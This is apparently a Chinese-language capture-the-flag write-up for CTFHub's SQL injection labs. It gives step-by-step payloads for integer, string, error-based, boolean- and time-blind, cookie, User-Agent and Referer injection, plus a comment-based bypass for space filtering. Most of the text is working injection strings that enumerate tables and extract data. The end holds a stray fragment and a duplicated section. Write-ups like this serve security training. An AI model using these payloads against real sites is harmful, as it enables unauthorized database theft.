CTFHub-SQL注入
整数型注入
由题意输入1,可以看到回显位置有两个,所以猜解有两列。
1 order by 3
1 order by 2
可以得知为2列,开始爆破数据
数据库、用户名
表名
-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())
字段名
-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’)
字段值
-1 union select 1,(select flag from flag)
字符型注入
由题意输入1,可以看到回显位置有两个,所以猜解有两列。且有单引号。
由此输入1’ order by 2 --(空格)
表名
’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) –
字段名
’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’) –
字段值
’ union select 1,(select flag from flag)–
报错注入
1 order by 3
由此可知这是只有逻辑上的正确与错误回显,所以我们可以考虑用布尔盲注或者报错注入
库名
1 and updatexml(1,concat(0x7e,database()),1)
表名
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
字段名
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’)))
字段值
1 and extractvalue(1,concat(0x7e,(select flag from flag)))
因为报错注入最多只有32位,所以截取一下flag
1 and extractvalue(1,concat(0x7e,substr((select flag from flag),32,10)))
布尔盲注
1 order by 3
我们得知题目只会回显给我们逻辑的正确与否,所以我们只能采用布尔注入
1 and (substr(database(),1,1))=‘s’
库名
用burp进行爆破,得知数据库的名字为sqli
表名
1 and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=‘s’
得出表名为news、flag
字段名
得出字段名为flag
字段值
1 and (substr((select flag from flag),1,1))=‘s’
得出flag为ctfhub{d86699dd24caf0fe2d5cf800}
时间盲注
根据页面的响应时间,从而来判断逻辑的正确与否
1 and if(substr(database(),1,1)=‘s’,sleep(3),1)
用burp进行爆破
根据顺序可以得知,数据库名字为sqli
1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)=‘s’,sleep(3),1)
MySQL结构
-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())
-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘dyrdorcfwr’)
-1 union select 1,(select pmuwgcasbo from dyrdorcfwr)
Cookie注入
抓包页面发现id和hint
所以直接在Cookie上动手即可
所以就变成了一道数字型注入的题,参考上面payload即可
过滤空格
由题目得知我们空格被过滤,所以可以使用注释符、特殊符号、多重括号来绕过空格
1/**/and/**/1=1
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())
-1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='xovzyfxxxs')
-1/**/union/**/select/**/1,(select/**/nujpnapvos/**/from/**/xovzyfxxxs)
UA注入
UA其实就是User-Agent,里面有你电脑系统、浏览器的一些信息
直接抓包在UA处注入即可
表名
-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())
字段名
-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘qtueekcoin’)
字段值
-1 union select 1,(select raxvjnijoy from qtueekcoin)
Refer注入
Referer就是指你的来源ip地址,即从那个地方过来的
Referer:1
表名
Referer:-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())
字段名
Referer:-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘hucydojkes’)
字段值
Referer:-1 union select 1,(select mwkrywcxrn from hucydojkes)
627357858510)]
字段名
Referer:-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘hucydojkes’)
字段值
Referer:-1 union select 1,(select mwkrywcxrn from hucydojkes)